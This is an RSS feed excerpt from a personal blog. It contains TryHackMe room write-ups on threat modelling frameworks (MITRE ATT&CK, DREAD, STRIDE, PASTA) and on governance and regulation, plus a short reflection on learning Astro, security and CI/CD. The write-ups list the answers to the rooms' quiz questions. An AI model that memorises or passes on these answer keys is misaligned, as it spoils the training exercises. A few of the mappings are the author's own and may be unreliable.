&lt;p&gt;Web servers are experiencing heavy traffic with a suspicious log entry. This task introduces log analysis and &quot;User Agent&quot; strings. The user needs to review HTTP logs to distinguish between standard browser traffic (Chrome, Firefox, Edge) and identifying a suspicious entry coming from &quot;BunnyOS&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-12-20%20113017.BTWEBXSC_1lbsHa.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(REDACTED)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 15: The Finish Line&lt;/h2&gt;
&lt;p&gt;This final task wraps up the Prep Track. It confirms that the user has completed the warm-up challenges, covering topics from Linux CLI to Prompt Injection. The user is now familiar with the key tools needed for the main event and is ready to participate in Advent of Cyber 2025 to help save SOC-mas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bring on Advent of Cyber 2025!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.Cy3AsAVw.png"/><enclosure url="/_astro/image.Cy3AsAVw.png"/></item><item><title>Threat Modelling | TryHackMe Write-Up</title><link>https://farros.co/blog/threat-modelling-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/threat-modelling-tryhackme-write-up/</guid><description>Building cyber resiliency and emulation capabilities through threat modelling.</description><pubDate>Wed, 17 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/threatmodelling&quot;&gt;Threat Modelling&lt;/a&gt; (Premium Room), building cyber resiliency and emulation capabilities through threat modelling.. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;Threat modelling is a proactive approach to identifying vulnerabilities, prioritising threats, and implementing security measures to safeguard critical assets. In the modern cyber security landscape, relying solely on reactive measures is insufficient against sophisticated threat actors.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Learning Objectives:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understand the significance of threat modelling for organisational resiliency.&lt;/li&gt;
&lt;li&gt;Learn the fundamentals of modelling significant threats.&lt;/li&gt;
&lt;li&gt;Explore frameworks such as &lt;strong&gt;MITRE ATT&amp;#x26;CK&lt;/strong&gt;, &lt;strong&gt;DREAD&lt;/strong&gt;, &lt;strong&gt;STRIDE&lt;/strong&gt;, and &lt;strong&gt;PASTA&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;
It is recommended to have knowledge of Threat Emulation and Principles of Security before starting this module.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s start modelling threats!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Threat Modelling Overview&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is Threat Modelling?&lt;/strong&gt;
It is a systematic approach to identifying, prioritising, and addressing potential security threats. By simulating attack scenarios and assessing vulnerabilities, organisations can reduce risk exposure and allocate resources effectively.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Definitions (The &quot;House&quot; Analogy):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Threat:&lt;/strong&gt; Potential occurrence or actor (e.g., a burglar).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; A weakness or flaw (e.g., broken locks).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risk:&lt;/strong&gt; The likelihood of compromise (e.g., living in a high-crime area).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;High-Level Process:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Define Scope:&lt;/strong&gt; Identify systems/networks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Asset Identification:&lt;/strong&gt; Diagram architecture and identify critical data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identify Threats:&lt;/strong&gt; pinpoint potential attacks (cyber, physical, social engineering).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analyse Vulnerabilities &amp;#x26; Prioritise Risks:&lt;/strong&gt; Assess impact and likelihood.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Countermeasures:&lt;/strong&gt; Design and implement controls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor &amp;#x26; Evaluate:&lt;/strong&gt; Continuously test effectiveness.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Attack Trees:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An attack tree is a graphical representation used to analyse threats. The root node represents the attacker&apos;s goal (e.g., &quot;Gain unauthorised access&quot;), while branches represent the techniques and paths used to achieve that goal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is a weakness or flaw in a system, application, or process that can be exploited by a threat?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;vulnerability&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Based on the provided high-level methodology, what is the process of developing diagrams to visualise the organisation&apos;s architecture and dependencies?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Asset Identification&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What diagram describes and analyses potential threats against a system or application?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;attack tree&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Modelling with MITRE ATT&amp;#x26;CK&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The Framework:&lt;/strong&gt;
The &lt;strong&gt;MITRE ATT&amp;#x26;CK&lt;/strong&gt; (Adversarial Tactics, Techniques, and Common Knowledge) framework is a global knowledge base of adversary behaviour. It is organised into a matrix of &lt;strong&gt;Tactics&lt;/strong&gt; (high-level objectives) and &lt;strong&gt;Techniques&lt;/strong&gt; (methods used).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Components of a Technique Page:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Description:&lt;/strong&gt; Details of the technique.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Procedure Examples:&lt;/strong&gt; Real-world usage by threat actors.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; Recommended security measures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detections:&lt;/strong&gt; Strategies/indicators to identify the technique.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Integration into Threat Modelling:&lt;/strong&gt;
MITRE ATT&amp;#x26;CK is mapped after the &quot;Identify Threats&quot; phase. By mapping threats to specific ATT&amp;#x26;CK techniques, security teams can derive specific mitigations and detection strategies. It aids in developing threat scenarios, identifying attack paths, and prioritising vulnerability remediation based on real-world threat group data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the technique ID of &quot;Exploit Public-Facing Application&quot;?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;T1190&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Under what tactic does this technique belong?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Initial Access&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Mapping with ATT&amp;#x26;CK Navigator&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;ATT&amp;#x26;CK Navigator:&lt;/strong&gt;
This is an open-source, web-based tool designed to visualise and navigate the MITRE ATT&amp;#x26;CK matrix. It allows users to create custom layers to map techniques relevant to their specific environment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Features:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Selection Controls:&lt;/strong&gt; Search and select techniques by keywords, threat groups (e.g., APT41), or software.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layer Controls:&lt;/strong&gt; Filter by platform (Windows, Linux, etc.), sort, and export data (JSON, Excel, SVG).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Technique Controls:&lt;/strong&gt; Annotate specific techniques with scores, background colours, comments, and metadata to highlight risks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;
In a financial services context using GCP and web apps, an analyst can map threat groups like APT28 or FIN7 to the matrix. This helps prioritise critical vulnerabilities such as &lt;em&gt;Exploit Public-Facing Application (T1190)&lt;/em&gt; or &lt;em&gt;Data from Cloud Storage (T1530)&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How many MITRE ATT&amp;#x26;CK techniques are attributed to APT33?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;31&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Upon applying the IaaS platform filter, how many techniques are under the Discovery tactic?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;13&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: DREAD Framework&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Overview:&lt;/strong&gt;
Developed by Microsoft, &lt;strong&gt;DREAD&lt;/strong&gt; is a risk assessment model used for qualitative risk analysis. It prioritises threats based on the average score (1-10) of five categories.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The DREAD Categories:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Damage:&lt;/strong&gt; How bad would the attack be? (e.g., data loss, downtime).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reproducibility:&lt;/strong&gt; How easy is it to reproduce the attack?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitability:&lt;/strong&gt; How much work/skill is required to launch the attack?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Users:&lt;/strong&gt; How many people are impacted?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Discoverability:&lt;/strong&gt; How easy is it to find the vulnerability?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Guidelines:&lt;/strong&gt;
To reduce subjectivity, organisations should establish standardised scoring definitions, encourage team collaboration for scoring justification, and use DREAD alongside other methodologies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What DREAD component assesses the potential harm from successfully exploiting a vulnerability?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Damage&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What DREAD component evaluates how others can easily find and identify the vulnerability?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Discoverability&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which DREAD component considers the number of impacted users when a vulnerability is exploited?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Affected Users&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: STRIDE Framework&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Overview:&lt;/strong&gt;
&lt;strong&gt;STRIDE&lt;/strong&gt; is a threat modelling methodology used primarily in software development and system design. It identifies threats by categorising them into six types, each violating a specific aspect of the &lt;strong&gt;CIA Triad&lt;/strong&gt; (Confidentiality, Integrity, Availability) or related security policies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Categories:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Spoofing:&lt;/strong&gt; Impersonating a user/system (Violates: Authentication).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tampering:&lt;/strong&gt; Modifying data/code (Violates: Integrity).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repudiation:&lt;/strong&gt; Denying actions due to lack of logging (Violates: Non-repudiation).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Information Disclosure:&lt;/strong&gt; Unauthorised access to data (Violates: Confidentiality).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Denial of Service:&lt;/strong&gt; Disrupting availability (Violates: Availability).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elevation of Privilege:&lt;/strong&gt; Gaining unauthorised access levels (Violates: Authorisation).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Implementation:&lt;/strong&gt;
The process involves decomposing the system, applying STRIDE categories to each component, assessing the risk, and developing specific countermeasures (e.g., using DMARC to prevent email spoofing).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What foundational information security concept does the STRIDE framework build upon?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CIA Triad&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What policy does Information Disclosure violate?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Confidentiality&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which STRIDE component involves unauthorised modification or manipulation of data?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tampering&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which STRIDE component refers to the disruption of the system&apos;s availability?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Denial of Service&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Insecure web application search functionality leading to SQL injection.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tampering&lt;/li&gt;
&lt;li&gt;Information Disclosure&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Insecure AWS Infrastructure (EC2, S3, RDS) without load balancers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Information Disclosure&lt;/li&gt;
&lt;li&gt;Denial of Service&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mail server with no logging enabled.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spoofing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unpatched employee workstations.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tampering&lt;/li&gt;
&lt;li&gt;Elevation of Privilages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Befon7Ck_Z23OeX5.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Provide the flag for the simulated threat modelling exercise.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{_}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: PASTA Framework&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Overview:&lt;/strong&gt;
&lt;strong&gt;PASTA&lt;/strong&gt; (Process for Attack Simulation and Threat Analysis) is a risk-centric, seven-step framework. It aligns threat modelling with business objectives and technical requirements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Seven-Step Methodology:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Define Objectives:&lt;/strong&gt; Establish scope and compliance requirements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Define Technical Scope:&lt;/strong&gt; Inventory assets and understand architecture.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decompose Application:&lt;/strong&gt; Map data flows, trust boundaries, and components.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analyse Threats:&lt;/strong&gt; Identify threat sources (internal/external).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerabilities Analysis:&lt;/strong&gt; Scan for weaknesses (static analysis, pentesting).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analyse Attacks:&lt;/strong&gt; Simulate attack scenarios to verify risks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risk and Impact Analysis:&lt;/strong&gt; Develop countermeasures based on risk tolerance.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Benefits:&lt;/strong&gt;
PASTA is highly adaptable, fosters collaboration between developers/architects/business stakeholders, and ensures security efforts directly support business goals.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In which step of the framework do you break down the system into its components?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Decompose the Application&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;During which step of the PASTA framework do you simulate potential attack scenarios?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Analyse the Attacks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;In which step of the PASTA framework do you create an inventory of assets?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Define the Technical Scope&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Process Flow Diagram&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Strategic Planning&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System Architecture&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Software Development&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Information Security&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strategic Planning&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Quiz Questions and Answers&lt;/h3&gt;
&lt;p&gt;What should be the top priority for the online banking platform, as mentioned by the Business Analyst?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Protecting customers’ personal and financial data, securing transactions, and ensuring service availability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;According to the System Architect, what are the primary technical assets of the online banking system?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Amazon EC2, RDS, and S3 services&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What components of the application did the Lead Developer highlight during the &apos;Decompose the Application&apos; phase?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User registration, account management, fund transfers, bill payments, and account statements&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;According to the Security Engineer, which type of threat is NOT considered for the online banking platform?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Social engineering attacks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which vulnerability was mentioned by the Security Engineer as a potential issue for the online banking platform?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cloud Infrastructure Misconfigurations&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;According to the Security Engineer, which mitigation strategy does match the identified threats?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Account lockouts&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the &quot;Risk and Impact Analysis&quot; phase, what potential consequence of a successful attack was mentioned by the Business Analyst?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Financial loss and significant reputational damage&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Provide the flag for the simulated threat modelling exercise.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{_}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: ConclusionWe have covered four distinct frameworks, each with unique applications&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MITRE ATT&amp;#x26;CK:&lt;/strong&gt; Best for mapping real-world adversary tactics and testing existing controls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DREAD:&lt;/strong&gt; Best for numerical prioritisation of risks based on damage and exploitability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;STRIDE:&lt;/strong&gt; Best for software development, focusing on categorising threats (Spoofing, Tampering, etc.).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PASTA:&lt;/strong&gt; Best for a holistic, risk-centric approach that aligns with business objectives.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Leveraging these frameworks helps enhance threat awareness, prioritise mitigation, and improve overall organisational resilience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I have completed the Threat Modelling room.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.C32IomrH.png"/><enclosure url="/_astro/image.C32IomrH.png"/></item><item><title>Learning Astro, Offensive Security, and CI/CD</title><link>https://farros.co/blog/learning-astro-offensive-security-and-cicd/</link><guid isPermaLink="true">https://farros.co/blog/learning-astro-offensive-security-and-cicd/</guid><description>A short reflection on learning Astro, cybersecurity basics, and CI/CD workflows, and how each skill opened new perspectives in modern web development.</description><pubDate>Fri, 12 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Alhamdulillah for the blessing and opportunity in the form of skills, namely Astro Framework, Offensive Security, and CI/CD Workflow. Below are the details.&lt;/p&gt;
&lt;h2&gt;Astro Framework&lt;/h2&gt;
&lt;p&gt;Around 2 months were dedicated to learning Astro, starting from a simple question to an AI about what kind of web framework is very fast and secure, and the answer pointed to Astro. At first it was still doubtful, since among so many JS frameworks, choosing Astro felt unusual. After reading further, FreeCodeCamp, which once helped with learning responsive web design for free, also recommended Astro. That gave additional confidence.&lt;/p&gt;
&lt;p&gt;During the learning process, it became clear that many large websites already use Astro, including Porsche. The community is also active and supportive. Joining the subreddit showed many people sharing the same surprise about how fast their sites become when built with Astro. More discussion about Astro Framework will probably come next time.&lt;/p&gt;
&lt;h2&gt;Offensive Security&lt;/h2&gt;
&lt;p&gt;Interest in cybersecurity has existed since college, even with a statistics background. Cybersecurity feels different, with a kind of adrenaline that makes learning exciting. Early 2025 became the moment to finally dedicate proper time to it. TryHackMe became one of the most visited platforms, recommended by both international and local communities such as Merdeka Siber. Its beginner friendly structure helped clarify many fundamentals. Even the OSI 7 layers, which used to be unclear, finally made sense and revealed how the web functions.&lt;/p&gt;
&lt;p&gt;Further reading showed that cybersecurity is closely tied to write ups. One well known certification, OSCP, even allocates 12 hours for hacking and 12 hours for reporting, highlighting how important clear documentation is in the field.&lt;/p&gt;
&lt;h2&gt;CI/CD Workflow&lt;/h2&gt;
&lt;p&gt;CI/CD naturally followed after exploring Astro Framework. Hosting used to be confusing, especially coming from the usual WordPress plus shared hosting setup. Today, many providers offer free hosting even for SSR, such as Netlify and Cloudflare Pages. Netlify&apos;s 300 build minutes limit felt restrictive, especially when each build takes about a minute and content continues to grow.&lt;/p&gt;
&lt;p&gt;GitHub Actions eventually became the preferred choice because it integrates directly with GitHub and offers more flexibility when the repository is public. Since making the repo public was not an issue, GitHub Actions became the main workflow, followed by purchasing a .com domain. A .dev domain was considered, but the scope of the work is broader than just development, so .com fit better.&lt;/p&gt;
&lt;p&gt;Thank you for reading :)&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Governance &amp; Regulation | TryHackMe Write-Up</title><link>https://farros.co/blog/governance-and-regulation-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/governance-and-regulation-tryhackme-write-up/</guid><description>Explore policies and frameworks vital for regulating cyber security in an organisation.</description><pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/cybergovernanceregulation&quot;&gt;Governance &amp;#x26; Regulation&lt;/a&gt;. Explore policies and frameworks vital for regulating cyber security in an organisation. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;Cybersecurity is a rapidly evolving landscape where malicious actors constantly exploit vulnerabilities to cause damage and steal data. To combat this, a comprehensive approach to &lt;strong&gt;information security governance and regulation&lt;/strong&gt; is essential, involving robust policies, monitoring, and enforcement. This room aims to teach the importance of GRC (Governance, Risk Management &amp;#x26; Compliance), relevant international laws and standards (ISO 27001, NIST 800-53), and how to improve security posture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am ready to start the room.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Why is it important?&lt;/h2&gt;
&lt;p&gt;This section defines key terminologies: &lt;strong&gt;Governance&lt;/strong&gt; (managing systems to achieve objectives), &lt;strong&gt;Regulation&lt;/strong&gt; (rules enforced by governing bodies), and &lt;strong&gt;Compliance&lt;/strong&gt; (adhering to laws). It details Information Security Governance processes such as Strategy, Policies, Risk Management, and Performance Measurement. It also lists key benefits like a robust security posture and stakeholder confidence, and provides examples of regulations like GDPR (Data Privacy), HIPAA (Healthcare), PCI-DSS (Financial), and GLBA.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A rule or law enforced by a governing body to ensure compliance and protect against harm is called?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Regulation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Health Insurance Portability and Accountability Act (HIPAA) targets which domain for data protection?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Healthcare&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Information Security Frameworks&lt;/h2&gt;
&lt;p&gt;Information security frameworks consist of documents that govern how security is managed. These include &lt;strong&gt;Policies&lt;/strong&gt; (high-level goals), &lt;strong&gt;Standards&lt;/strong&gt; (mandatory requirements), &lt;strong&gt;Guidelines&lt;/strong&gt; (recommendations), &lt;strong&gt;Procedures&lt;/strong&gt; (step-by-step tasks), and &lt;strong&gt;Baselines&lt;/strong&gt; (minimum security levels). The development process involves identifying scope, research, drafting, review, implementation, and periodic updates. Real-world examples include creating Password Policies and Incident Response Procedures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The step that involves monitoring compliance and adjust the document based on feedback and changes in the threat landscape or regulatory environment is called?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Review and update&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;A set of specific steps for undertaking a particular task or process is called?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Procedure&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Governance Risk and Compliance (GRC)&lt;/h2&gt;
&lt;p&gt;GRC is a holistic framework integrating &lt;strong&gt;Governance&lt;/strong&gt; (strategy/direction), &lt;strong&gt;Risk Management&lt;/strong&gt; (identifying and mitigating risks), and &lt;strong&gt;Compliance&lt;/strong&gt; (meeting legal obligations). Developing a GRC program involves defining scope, conducting risk assessments, establishing governance processes, implementing controls (like Firewalls, IPS, IDS), and continuously monitoring and improving performance. In the financial sector, this includes Anti-Money Laundering policies and fraud risk management.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the component in the GRC framework involved in identifying, assessing, and prioritising risks to the organisation?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Risk Management&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Is it important to monitor and measure the performance of a developed policy?&lt;/strong&gt; (yea/nay)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;yea&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Privacy and Data Protection&lt;/h2&gt;
&lt;p&gt;This section covers regulations protecting Personally Identifiable Information (PII).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GDPR&lt;/strong&gt;: An EU regulation requiring prior approval for data collection, data minimization, and protection. It has tiered fines for non-compliance (Tier 1 can be up to 4% of revenue).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCI DSS&lt;/strong&gt;: A standard for securing card transactions (Visa, MasterCard, etc.), requiring strict access control and encryption for Cardholder Data (CHD).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;[Image of GDPR Key Principles]&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the maximum fine for Tier 1 users as per GDPR (in terms of percentage)?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;In terms of PCI DSS, what does CHD stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cardholder data&lt;/p&gt;
&lt;/blockquote&gt;
